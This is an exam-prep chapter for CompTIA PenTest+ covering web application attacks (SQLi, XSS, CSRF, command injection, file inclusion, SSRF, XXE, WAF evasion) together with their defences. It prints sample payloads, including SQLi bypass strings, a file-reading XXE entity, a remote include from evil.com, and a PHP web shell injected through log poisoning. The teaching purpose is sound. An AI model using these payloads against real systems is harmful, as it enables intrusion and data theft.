PT0-002Chapter 7 of 104Objective 3.2

Web Application Attacks

This chapter covers web application attacks, a critical domain for the CompTIA PenTest+ PT0-002 exam, particularly under Objective 3.2 (Exploiting Web Application Vulnerabilities). Web application attacks are among the most common and high-impact penetration testing activities, appearing in roughly 15-20% of exam questions. You will learn the mechanisms behind SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), command injection, file inclusion, and session hijacking—each with specific payloads, detection methods, and exploitation techniques. Mastering these attacks is essential for both the exam and real-world pentesting engagements.

25 min read
Intermediate
Updated May 31, 2026

SQL Injection: A Bank Vault with a Bad Lock

Imagine a bank vault with a combination lock. The lock is designed to accept a 4-digit code. However, the lock's mechanism has a flaw: if you enter not just digits but also special characters like ';' or '--', the internal mechanism interprets those as commands to open the vault, reset the combination, or even dump all safe deposit box combinations. An attacker walks up and enters '1234; DROP ALL BOXES' into the keypad. The lock processes the digits, then sees the semicolon and executes the next command, opening every box. The lock was never designed to handle such input—it trusted that only valid codes would be entered. In web applications, SQL injection works similarly: the application builds a SQL query by concatenating user input directly into the command string. If the input contains SQL metacharacters, the database executes them as part of the query. The fix is to treat user input as data, not executable code—using parameterized queries or prepared statements, which separate the SQL logic from the input values.

How It Actually Works

SQL Injection (SQLi)

SQL injection occurs when an application inserts untrusted user input directly into a SQL query without proper sanitization or parameterization. The attacker manipulates the query structure by injecting SQL metacharacters (e.g., single quote, semicolon, comment).

How it works: Consider a login form that executes: SELECT * FROM users WHERE username='$user' AND password='$pass'. If an attacker enters ' OR '1'='1 as username, the query becomes: SELECT * FROM users WHERE username='' OR '1'='1' AND password='...'. The OR '1'='1' always evaluates true, bypassing authentication.

Types of SQLi: - In-band SQLi: Uses same channel for attack and results (e.g., error-based, UNION-based). - Blind SQLi: No direct output; attacker infers truth via boolean responses or time delays (e.g., ' OR IF(1=1, SLEEP(5), 0) --). - Out-of-band SQLi: Uses different channel (e.g., DNS or HTTP request) to exfiltrate data when direct output is blocked.

Detection: Look for error messages revealing SQL syntax, unexpected behavior, or time delays. Use tools like sqlmap to automate detection and exploitation.

Prevention: Use parameterized queries (prepared statements) in languages like PHP (PDO), Java (PreparedStatement), or C# (SqlCommand with parameters). Never concatenate user input into SQL strings.

Cross-Site Scripting (XSS)

XSS injects malicious scripts into web pages viewed by other users. The attacker exploits the browser's trust in the server's content.

Types: - Reflected XSS: Script is part of the request (e.g., URL parameter) and reflected back immediately. Example: http://site.com/search?q=<script>alert('XSS')</script>. - Stored XSS: Script is stored on the server (e.g., in a comment field) and served to every visitor. - DOM-based XSS: Vulnerability exists in client-side JavaScript that manipulates the DOM without server interaction.

Impact: Session hijacking (stealing cookies), defacement, phishing (redirecting to fake sites), keylogging.

Detection: Inject test payloads like <script>alert(1)</script> or <img src=x onerror=alert(1)>. Observe if script executes.

Prevention: Encode output based on context (HTML entity, JavaScript, URL). Use Content Security Policy (CSP) headers to restrict script sources.

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user into performing unintended actions on a web application where they are logged in. The attacker crafts a malicious link or form that submits a request using the user's existing session.

Mechanism: The application relies solely on cookies for authentication. When the user visits attacker's site, their browser automatically includes cookies for the target domain (if session is active). The forged request appears legitimate.

Example: A bank transfer URL: http://bank.com/transfer?to=attacker&amount=1000. Attacker embeds an image tag: <img src="http://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">. If the user is logged in, the request executes.

Prevention: Use anti-CSRF tokens (unique, unpredictable values embedded in forms, validated server-side). Require re-authentication for sensitive actions. Use SameSite cookie attribute (Strict or Lax).

Command Injection

Command injection allows an attacker to execute arbitrary operating system commands via a vulnerable application. It occurs when the application passes user input to a system shell without sanitization.

Example: A web app that pings an IP address: system("ping -c 4 " . $ip). Attacker enters 8.8.8.8; cat /etc/passwd. The executed command becomes: ping -c 4 8.8.8.8; cat /etc/passwd.

Detection: Inject command separators like ;, |, &, ||, &&, or newline characters. Observe response time or output.

Prevention: Avoid using system calls with user input. If necessary, validate input against a whitelist (e.g., only IP addresses). Use built-in functions instead of shell commands (e.g., PHP's filter_var with FILTER_VALIDATE_IP).

File Inclusion (LFI/RFI)

File inclusion vulnerabilities occur when an application dynamically includes files based on user input without proper validation.

Local File Inclusion (LFI): Includes files from the local server. Example: http://site.com/index.php?page=../../../etc/passwd.

Remote File Inclusion (RFI): Includes remote files (e.g., from attacker's server). Example: http://site.com/index.php?page=http://evil.com/shell.txt.

Impact: LFI can lead to code execution via log poisoning or PHP wrappers (e.g., php://filter/convert.base64-encode/resource=index.php). RFI can directly execute arbitrary code.

Prevention: Avoid dynamic file inclusion. Use whitelists for allowed pages. Disable allow_url_include in PHP. Validate input paths.

Session Hijacking

Session hijacking involves stealing a user's session token to impersonate them. Common methods: - Session fixation: Attacker sets a known session ID before the user logs in. - Session sidejacking: Sniffing unencrypted traffic to capture session cookies (e.g., over HTTP). - Cross-site scripting: Steal cookies via XSS.

Prevention: Use HTTPS only. Set HttpOnly and Secure flags on cookies. Regenerate session ID after login. Use short session timeouts.

Web Application Firewall (WAF) Evasion

WAFs inspect HTTP traffic and block malicious payloads. Pentesters must bypass WAFs using techniques like: - Encoding: URL encoding, double encoding, Unicode encoding. - Case variation: SeLeCt instead of SELECT. - Comment insertion: SEL/**/ECT. - Using different payloads: ' OR 1=1 -- vs. ' OR '1'='1' --. - HTTP parameter pollution: Adding multiple parameters with same name. - Time-based blind injection: Slow attacks that avoid rate limits.

Server-Side Request Forgery (SSRF)

SSRF forces the server to make requests to internal resources, bypassing firewalls. Attacker provides a URL that the server fetches, potentially accessing internal services like http://localhost:8080/admin or file:///etc/passwd.

Detection: Look for features that fetch external content (e.g., webhooks, image downloaders). Test with internal IPs and observe responses.

Prevention: Validate and restrict URLs to allowed domains. Block access to private IP ranges. Use allowlists.

XML External Entity (XXE) Injection

XXE exploits XML parsers that process external entities. An attacker can read local files, perform SSRF, or cause denial of service.

Example:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Prevention: Disable external entity processing in XML parsers. Use less complex data formats like JSON.

Insecure Direct Object References (IDOR)

IDOR occurs when an application exposes internal object references (e.g., database keys) without proper access control. Example: http://site.com/view?user_id=123 — changing 123 to 124 accesses another user's data.

Detection: Enumerate parameters (IDs, filenames) and test if access is allowed without authorization.

Prevention: Implement proper access controls. Use indirect references (e.g., hash maps).

Walk-Through

1

Reconnaissance and Input Discovery

Identify all user input points: URL parameters, form fields, HTTP headers, cookies, file uploads, and API endpoints. Use tools like Burp Suite or OWASP ZAP to map the application. For each input, note the expected data type (string, integer, file) and any client-side validation. This step is critical because every input is a potential attack vector. Look for hidden fields, comments in HTML, and JavaScript that reveal backend logic.

2

Crafting and Injecting Payloads

Based on input type, craft payloads. For SQLi, start with a single quote to break the query. For XSS, use `<script>alert(1)</script>`. For command injection, use `; id`. Use Burp Repeater or Intruder to send multiple payloads. Observe server responses for errors, changes in behavior, or execution of injected code. Payloads may need encoding to bypass filters. For blind SQLi, use conditional responses or time delays (e.g., `' OR SLEEP(5)--`).

3

Assessing Impact and Exploitation

If injection succeeds, determine the impact. For SQLi, extract data using UNION queries or blind techniques. For XSS, steal cookies or perform actions as the victim. For command injection, execute arbitrary commands (e.g., `cat /etc/passwd`). For file inclusion, read sensitive files or achieve remote code execution via wrappers. Document the full exploit chain, including any necessary encoding or bypasses.

4

Bypassing Security Controls

If initial payloads are blocked (WAF, input validation), modify payloads. Use different encodings (URL, Unicode, hex), case variations, comment injection, or alternative syntax. For SQLi, use `UNION ALL SELECT` instead of `UNION SELECT`. For XSS, use `onerror` or `onload` events. For command injection, use backticks or `$()` in Linux. Test different HTTP methods (GET vs POST) and parameter locations.

5

Reporting and Remediation

Document every vulnerability with proof of concept (screenshots, request/response pairs). Classify severity based on CVSS score. Include remediation steps: for SQLi, use parameterized queries; for XSS, output encoding; for CSRF, anti-CSRF tokens. Provide code examples. In a penetration test report, clearly state the business risk and recommended fixes. This step is as important as exploitation itself.

What This Looks Like on the Job

Enterprise Scenario 1: E-commerce Platform SQL Injection

A major e-commerce website had a search feature that built SQL queries dynamically. The parameter ?category=electronics was vulnerable to SQLi. An attacker used sqlmap to extract user credentials and credit card numbers from the database. The impact was a data breach affecting millions of customers. The root cause: the developer used string concatenation instead of prepared statements. Remediation required rewriting all database queries using parameterized queries and implementing a WAF with strict SQL injection rules. Performance was a concern because prepared statements can be slower in some ORMs, but the security benefit outweighed the overhead.

Enterprise Scenario 2: Banking Application CSRF

A bank's fund transfer form lacked CSRF protection. An attacker created a malicious webpage that automatically submitted a transfer request. Since users often stayed logged in, the attack succeeded. The fix: adding a unique anti-CSRF token to each form, validated server-side. Additionally, the bank set the SameSite cookie attribute to Strict and required re-authentication for transfers over a certain amount. This scenario highlights that CSRF can bypass even strong authentication if the session is active.

Enterprise Scenario 3: Government Portal LFI

A government portal included files based on a ?page= parameter. An attacker used path traversal to read /etc/passwd and then escalated to remote code execution by injecting PHP code into log files (log poisoning). The server ran Apache with default logging. The attacker appended <?php system($_GET['cmd']); ?> to the User-Agent header, then included the log file. This gave a web shell. Prevention: whitelist allowed pages, disable allow_url_include, and use chroot or containerization. This case shows how a seemingly low-risk LFI can become critical.

How PT0-002 Actually Tests This

Exam Focus for PT0-002 Objective 3.2

The PT0-002 exam tests web application attacks heavily. Key objectives under 3.2 include:

Exploiting SQL injection (including blind and out-of-band)

Exploiting XSS (reflected, stored, DOM-based)

Exploiting CSRF

Exploiting command injection

Exploiting file inclusion (LFI/RFI)

Exploiting session hijacking

Understanding WAF evasion

Common Wrong Answers: 1. Choosing 'input validation' as the sole defense for SQLi — While input validation helps, the primary defense is parameterized queries. Input validation alone can be bypassed. 2. Thinking CSRF tokens prevent XSS — CSRF tokens protect against CSRF, not XSS. XSS can steal the token. 3. Believing HTTPS prevents all session hijacking — HTTPS encrypts traffic, but session tokens can still be stolen via XSS or malware on the client. 4. Confusing LFI and RFI — LFI includes local files, RFI includes remote files. Both can lead to RCE but via different mechanisms.

Specific Numbers/Values: - SQL injection: ' OR '1'='1 is classic bypass. - XSS: <script>alert(1)</script> is common test. - CSRF: Anti-CSRF token must be unique per session or per request. - Command injection: ;, |, &, ||, && are separators. - LFI: ../../../etc/passwd is typical path traversal. - RFI: http://evil.com/shell.txt.

Edge Cases: - Second-order SQL injection: injection stored in database and executed later. - Blind XSS: payload executes in admin panel, not immediately visible. - CSRF combined with XSS: XSS can be used to bypass CSRF protection. - WAF evasion: use case variation, comments, encoding.

Eliminating Wrong Answers: - If a question asks about preventing SQLi, any answer that doesn't mention parameterized queries or prepared statements is likely wrong. - For XSS, answers that only mention input validation without output encoding are incomplete. - For CSRF, answers suggesting CAPTCHA are not the primary defense; anti-CSRF tokens are standard.

Key Takeaways

SQL injection is prevented by parameterized queries, not input validation alone.

XSS requires output encoding based on context (HTML, JavaScript, URL).

CSRF protection relies on anti-CSRF tokens and SameSite cookies.

Command injection can be mitigated by avoiding system calls or using whitelists.

LFI can escalate to RCE via log poisoning or PHP wrappers.

Session hijacking is countered by HTTPS, HttpOnly cookies, and session regeneration.

WAF evasion techniques include encoding, case variation, and comment injection.

Blind SQL injection uses boolean or time-based responses to extract data.

DOM-based XSS occurs client-side and may bypass server-side filters.

SSRF can be used to access internal services and read local files via file:// protocol.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Reflected XSS

Payload is part of the request (e.g., URL parameter).

Only affects the user who clicks the crafted link.

Often used in phishing campaigns.

Detection: inject script in URL and observe immediate execution.

Impact: session hijacking, defacement.

Stored XSS

Payload is stored on the server (e.g., in a database).

Affects every user who views the infected page.

More dangerous because it persists.

Detection: inject script in a comment or profile field and wait for admin to view.

Impact: widespread session hijacking, malware distribution.

Watch Out for These

Mistake

SQL injection only works if the application returns database errors.

Correct

Blind SQL injection works even when errors are hidden. Attackers infer data through true/false responses or time delays.

Mistake

HTTPS prevents XSS attacks.

Correct

XSS is an application-layer vulnerability; HTTPS only encrypts data in transit. The script injection happens in the browser, independent of transport encryption.

Mistake

CSRF tokens are effective against XSS.

Correct

XSS can steal the CSRF token from the page and include it in forged requests, bypassing CSRF protection.

Mistake

Input validation alone is sufficient to prevent command injection.

Correct

Input validation can be bypassed with encoding or alternative syntax. The best defense is to avoid system calls or use whitelists.

Mistake

File inclusion vulnerabilities only allow reading files, not code execution.

Correct

LFI can lead to RCE via log poisoning, PHP wrappers (php://input), or session file inclusion.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

What is the most common SQL injection payload?

The most common is `' OR '1'='1` used to bypass authentication. It exploits the fact that the condition becomes always true. For example, `SELECT * FROM users WHERE username='' OR '1'='1' AND password='...'` returns all rows. On the exam, this is a classic example of in-band SQLi.

How do I test for blind SQL injection?

Use conditional responses: `' AND 1=1 --` should return normal, `' AND 1=2 --` should return different. Or use time delays: `' OR IF(1=1, SLEEP(5), 0) --`. If the response takes 5 seconds, the condition is true. Tools like sqlmap automate this.

What is the difference between LFI and RFI?

LFI includes files from the local server (e.g., `/etc/passwd`). RFI includes remote files (e.g., `http://evil.com/shell.txt`). RFI is more dangerous because it can directly execute code from an attacker-controlled server. Both can lead to RCE, but RFI requires `allow_url_include` to be enabled.

Can CSRF be prevented without tokens?

Yes, using SameSite cookies (Strict or Lax) and requiring re-authentication for sensitive actions. Also, custom headers (e.g., `X-Requested-With: XMLHttpRequest`) can be checked, but they are not foolproof. Anti-CSRF tokens are the most robust defense.

What is the best defense against XSS?

Contextual output encoding. For HTML body, encode `<` as `&lt;`. For JavaScript, use `\x3C`. Additionally, use Content Security Policy (CSP) headers to restrict script sources. Input validation helps but is not sufficient.

How do I exploit command injection?

Inject command separators like `;`, `|`, `&`, `||`, `&&`, or newline. For example, `input; cat /etc/passwd`. On Windows, use `| dir`. Use encoded payloads to bypass WAFs. Always test both GET and POST parameters.

What is session fixation?

Session fixation is an attack where the attacker sets a known session ID before the user logs in. After login, the server uses the same ID, allowing the attacker to hijack the session. Prevention: regenerate session ID upon successful authentication.

Terms Worth Knowing

Ready to put this to the test?

You've just covered Web Application Attacks — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?